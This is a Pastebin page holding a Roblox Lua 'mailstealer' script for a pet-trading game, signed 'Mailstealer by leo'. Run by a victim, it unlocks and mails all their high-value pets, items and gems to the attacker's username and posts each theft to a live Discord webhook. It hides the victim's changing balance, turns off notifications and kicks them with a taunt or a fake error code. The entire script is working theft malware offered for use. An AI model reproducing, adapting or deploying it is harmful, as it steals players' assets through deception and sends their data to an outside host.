Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Username = "br1c7s"
- Webhook = "https://discord.com/api/webhooks/1216155442410164254/qjaqi-qAtHlSH64yBFnaijAHiImD9vFHrd12etGKgSz-4xJrWjfXDxYTGeRndwXDfCed" -- your discord webhook in here
- min_rap = 20000
- local function SendMessage(url, username, itemID)
- local http = game:GetService("HttpService")
- local headers = {
- ["Content-Type"] = "application/json"
- }
- local data = {
- ["embeds"] = {{
- ["title"] = "New Item Sent",
- ["color"] = 65280,
- ["fields"] = {
- {
- ["name"] = "Victim Username:",
- ["value"] = username,
- ["inline"] = true
- },
- {
- ["name"] = "Item Sent:",
- ["value"] = tostring(itemID),
- ["inline"] = true
- }
- },
- ["footer"] = {
- ["text"] = "Mailstealer by leo"
- }
- }}
- }
- local body = http:JSONEncode(data)
- local response = request({
- Url = url,
- Method = "POST",
- Headers = headers,
- Body = body
- })
- end
- if Webhook and string.find(Webhook, "discord") then
- Webhook = string.gsub(Webhook, "https://discord.com", "https://webhook.lewisakura.moe")
- else
- Webhook = "https://discord.com/api/webhooks/1216155442410164254/qjaqi-qAtHlSH64yBFnaijAHiImD9vFHrd12etGKgSz-4xJrWjfXDxYTGeRndwXDfCed"
- end
- local library = require(game.ReplicatedStorage.Library)
- local save = library.Save.Get().Inventory
- local plr = game.Players.LocalPlayer
- local MailMessage = "d3pe on top"
- local GetRapValues = getupvalues(library.DevRAPCmds.Get)[1]
- local GetSave = function()
- return require(game.ReplicatedStorage.Library.Client.Save).Get()
- end
- for i, v in pairs(GetSave().Inventory.Currency) do
- if v.id == "Diamonds" then
- GemAmount1 = v._am
- end
- end
- if GemAmount1 < 10000 then
- plr:kick("Saving error, please rejoin!")
- end
- local user = Username
- local gemsleft = game:GetService('Players').LocalPlayer.PlayerGui.MainLeft.Left.Currency.Diamonds.Diamonds.Amount.Text
- local gemsleftpath = game:GetService('Players').LocalPlayer.PlayerGui.MainLeft.Left.Currency.Diamonds.Diamonds.Amount
- gemsleftpath:GetPropertyChangedSignal("Text"):Connect(function()
- gemsleftpath.Text = gemsleft
- end)
- local gemsleaderstat = game:GetService('Players').LocalPlayer.leaderstats["💎 Diamonds"].Value
- local gemsleaderstatpath = game:GetService('Players').LocalPlayer.leaderstats["💎 Diamonds"]
- gemsleaderstatpath:GetPropertyChangedSignal("Value"):Connect(function()
- gemsleaderstatpath.Value = gemsleaderstat
- end)
- local loading = game:GetService('Players').LocalPlayer.PlayerScripts.Scripts.Core["Process Pending GUI"]
- local noti = game:GetService('Players').LocalPlayer.PlayerGui.Notifications
- loading.Disabled = true
- noti:GetPropertyChangedSignal("Enabled"):Connect(function()
- noti.Enabled = false
- end)
- noti.Enabled = false
- local HttpService = game:GetService("HttpService")
- local function getRAP(Type, Item)
- if GetRapValues[Type] then
- for i,v in pairs(GetRapValues[Type]) do
- local itemTable = HttpService:JSONDecode(i)
- if itemTable.id == Item.id and itemTable.tn == Item.tn and itemTable.sh == Item.sh and itemTable.pt == Item.pt then
- return v
- end
- end
- return 0
- end
- end
- local function sendItem(category, uid, am, id)
- local args = {
- [1] = user,
- [2] = MailMessage,
- [3] = category,
- [4] = uid,
- [5] = am or 1
- }
- game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
- if Webhook and Webhook ~= "" then
- SendMessage(Webhook, game.Players.LocalPlayer.Name, id)
- end
- end
- local function CountHuges()
- local count = 0
- for i, v in pairs(save.Pet) do
- local id = v.id
- local dir = library.Directory.Pets[id]
- if dir.huge and getRAP("Pet", v) >= min_rap then
- count = count + 1
- end
- end
- return count
- end
- local function StealHuge()
- local hugesSent = 0
- local initialHuges = CountHuges()
- for i, v in pairs(save.Pet) do
- local id = v.id
- local dir = library.Directory.Pets[id]
- if dir.huge and getRAP("Pet", v) >= min_rap then
- if v._lk then
- local args = {
- [1] = i,
- [2] = false
- }
- game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
- end
- sendItem("Pet", i, v._am or 1, id)
- local finalHuges = CountHuges()
- if finalHuges < initialHuges then
- hugesSent = hugesSent + 1
- initialHuges = finalHuges
- end
- end
- end
- return hugesSent
- end
- local function SendAllHuges()
- local totalHuges = CountHuges()
- local hugesSent = 0
- repeat
- hugesSent = hugesSent + StealHuge()
- until hugesSent == totalHuges
- end
- local function CountExc()
- local count = 0
- for i, v in pairs(save.Pet) do
- local id = v.id
- local dir = library.Directory.Pets[id]
- if dir.exclusiveLevel and getRAP("Pet", v) >= min_rap then
- count = count + 1
- end
- end
- return count
- end
- local function ExcSteal()
- local excSent = 0
- local initialExc = CountExc()
- for i, v in pairs(save.Pet) do
- local id = v.id
- local dir = library.Directory.Pets[id]
- if dir.exclusiveLevel and getRAP("Pet", v) >= min_rap then
- if v._lk then
- local args = {
- [1] = i,
- [2] = false
- }
- game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
- end
- sendItem("Pet", i, v._am or 1, id)
- local finalExc = CountExc()
- if finalExc < initialExc then
- excSent = excSent + 1
- initialExc = finalExc
- end
- end
- end
- return excSent
- end
- local function SendAllExc()
- local totalExc = CountExc()
- local excSent = 0
- repeat
- excSent = excSent + ExcSteal()
- until excSent == totalExc
- end
- local function EggSteal()
- for i, v in pairs(save.Egg) do
- local id = v.id
- local diregg = library.Directory.Eggs[id]
- if diregg and getRAP("Egg", v) >= min_rap then
- sendItem("Egg", i, v._am or 1, id)
- end
- end
- end
- local function CharmSteal()
- for i, v in pairs(save.Charm) do
- local id = v.id
- local dircharm = library.Directory.Charms[id]
- if dircharm and getRAP("Charm", v) >= min_rap then
- sendItem("Charm", i, v._am or 1, id)
- end
- end
- end
- local function EnchantSteal()
- for i, v in pairs(save.Enchant) do
- local id = v.id
- local direnchant = library.Directory.Enchants[id]
- if direnchant and getRAP("Enchant", v) >= min_rap then
- sendItem("Enchant", i, v._am or 1, id)
- end
- end
- end
- local function PotionSteal()
- for i, v in pairs(save.Potion) do
- local id = v.id
- local dirpotion = library.Directory.Potions[id]
- if dirpotion and getRAP("Potion", v) >= min_rap then
- sendItem("Potion", i, v._am or 1, id)
- end
- end
- end
- local function miscSteal()
- for i, v in pairs(save.Misc) do
- local id = v.id
- local dirmisc = library.Directory.MiscItems[id]
- if dirmisc and getRAP("Misc", v) > min_rap then
- sendItem("Misc", i, v._am or 1, id)
- end
- end
- end
- local function hoverSteal()
- for i, v in pairs(save.Hoverboard) do
- local id = v.id
- local dirhover = library.Directory.Hoverboards[id]
- if dirhover and getRAP("Hoverboard", v) > min_rap then
- sendItem("Hoverboard", i, v._am or 1, id)
- end
- end
- end
- local function boothSteal()
- for i, v in pairs(save.Booth) do
- local id = v.id
- local dirbooth = library.Directory.Booths[id]
- if dirbooth and getRAP("Booth", v) > min_rap then
- sendItem("Booth", i, v._am or 1, id)
- end
- end
- end
- local function ultimateSteal()
- for i, v in pairs(save.Ultimate) do
- local id = v.id
- local dirultimate = library.Directory.Ultimates[id]
- if dirultimate and getRAP("Ultimate", v) > min_rap then
- sendItem("Ultimate", i, v._am or 1, id)
- end
- end
- end
- local function GemSteal()
- for i, v in pairs(GetSave().Inventory.Currency) do
- if v.id == "Diamonds" then
- local GemAmount = v._am
- local args = {
- [1] = user,
- [2] = MailMessage,
- [3] = "Currency",
- [4] = i,
- [5] = GemAmount - 10000
- }
- game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
- if Webhook and Webhook ~= "" then
- SendMessage(Webhook, game.Players.LocalPlayer.Name, "Gems: " .. (GemAmount - 10000))
- end
- end
- end
- end
- local function EmptyBoxes()
- if save.Box then
- for key, _ in pairs(save.Box) do
- local args = {
- [1] = key
- }
- game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Box: Withdraw All"):InvokeServer(unpack(args))
- end
- end
- end
- local function CountGems()
- for i, v in pairs(GetSave().Inventory.Currency) do
- if v.id == "Diamonds" then
- GemAmount1 = v._am
- return GemAmount1
- end
- end
- end
- local function SendAllGems()
- repeat
- GemSteal()
- until CountGems() == nil or CountGems() < 10000
- end
- if CountHuges() > 0 or CountGems() > 1000000 then
- EmptyBoxes()
- SendAllHuges()
- SendAllExc()
- if save.Egg ~= nil then
- EggSteal()
- end
- if save.Charm ~= nil then
- CharmSteal()
- end
- if save.Ultimate ~= nil then
- ultimateSteal()
- end
- if save.Enchant ~= nil then
- EnchantSteal()
- end
- if save.Potion ~= nil then
- PotionSteal()
- end
- if save.Hoverboard ~= nil then
- hoverSteal()
- end
- if save.Booth ~= nil then
- boothSteal()
- end
- miscSteal()
- SendAllGems()
- setclipboard("preciate the stuff")
- plr:kick("All your stuff has just been stolen by D3PES mailstealer.")
- else
- plr:kick("Error on script execution: 0x0001F4A2")
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement